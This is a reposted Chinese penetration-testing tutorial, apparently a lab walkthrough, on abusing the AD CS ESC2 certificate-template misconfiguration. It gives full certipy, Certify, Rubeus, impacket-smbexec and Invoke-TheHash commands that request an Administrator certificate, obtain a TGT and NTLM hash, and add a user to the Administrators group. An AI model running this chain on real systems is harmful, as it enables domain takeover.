ADCS-ESC2枚举和利用

admin 2026-06-18 07:44:44 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了ADCS证书服务中ESC2漏洞的利用方法。ESC2漏洞源于证书模板错误配置,当模板使用任意用途EKU或未设置EKU时,签发的证书可被滥用于客户端认证、服务器认证等场景。文档分别提供了Linux和Windows平台下的完整攻击链:通过certipy/Certify工具枚举漏洞模板,申请管理员证书,最终获取域控权限。文章包含具体的命令操作步骤和利用技巧,具有较高实战价值。 综合评分: 82 文章分类: 渗透测试,漏洞分析,内网渗透,红队,安全工具


cover_image

ADCS-ESC2枚举和利用

Jzhoucdc Jzhoucdc

攻防之路JZhoucdc

2026年6月14日 19:40 中国台湾

在小说阅读器读本章

去阅读

ESC2 是 ADCS 证书模板的一种错误配置:如果模板使用 Any Purpose EKU,或者根本没有设置 EKU,那么签出的证书几乎可以用于任何用途,比如客户端认证、服务器认证或代码签名。


ESC2利用要求

要满足 ESC2,通常需要同时具备以下条件:

  • Enterprise CA 允许低权限用户注册证书。
  • 证书申请不需要 Manager approval。
  • 不需要额外的 authorized signatures。
  • 证书模板权限过于宽松,低权限用户可以直接申请。
  • 模板使用 Any Purpose EKU,或者根本没有配置 EKU。

一.Linux平台

枚举:

certipy find -u '[email protected]' -p 'Password123!' -dc-ip 10.129.228.236  -vulnerable -stdout

可以看见Extended Key Usage设置为Any Purpose;

ESC2:Template can be used for any purpose.

攻击:

因为 ESC1 攻击的核心前提是 Enrollee Supplies Subject = True,而 ESC2模板恰好开启了这一标志。所以即便模板名叫 ESC2,依然可以像对待 ESC1 那样,直接在 certipy req 中使用 -upn Administrator 指定目标用户,申请一张能通过 Kerberos PKINIT 认证为域管理员的证书。

1.请求证书

certipy req -u '[email protected]' -p 'Password123!' -dc-ip 10.129.228.236 -ca lab-LAB-DC-CA -template ESC2 -upn Administrator -target-ip 10.129.228.236 -debug

并把结果保存成 administrator.pfx,里面包含证书和私钥.

2.认证

certipy auth -pfx ./administrator.pfx -username administrator -domain lab.local -dc-ip 10.129.228.236

拿到票据和NTLM哈希,都可以用来连接DC;

使用TGT连接DC:

KRB5CCNAME=administrator.ccache impacket-smbexec -k -no-pass LAB-DC.LAB.LOCAL


二.Windows平台

枚举:

Certify.exe find /vulnerable

攻击利用:

1.申请证书

Certify.exe request /ca:LAB-DC.lab.local\lab-LAB-DC-CA /template:ESC2 /altname:[email protected]

保存为 cert.pem文件,然后进行cert.pfx.

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

2.证书验证

使用证书拿到TGT票据和NTLM哈希

Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap

3.传递hash

使用Invoke-TheHash工具,进行Pass The Hash攻击,比如将目标用户加入管理员组

Import-Module .\Invoke-TheHash.psm1
Invoke-TheHash -Type SMBExec -Target localhost -Username Administrator -Hash 2b576acbe6bcfda7294d6bd18041b8fe -Command "net localgroup Administrators 用户1 /add"

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:攻防之路JZhoucdc Jzhoucdc Jzhoucdc《ADCS-ESC2枚举和利用》

ADCS-ESC2枚举和利用 网络安全文章

ADCS-ESC2枚举和利用

文章总结: 本文详细分析了ADCS证书服务中ESC2漏洞的利用方法。ESC2漏洞源于证书模板错误配置,当模板使用任意用途EKU或未设置EKU时,签发的证书可被滥
评论:0   参与:  0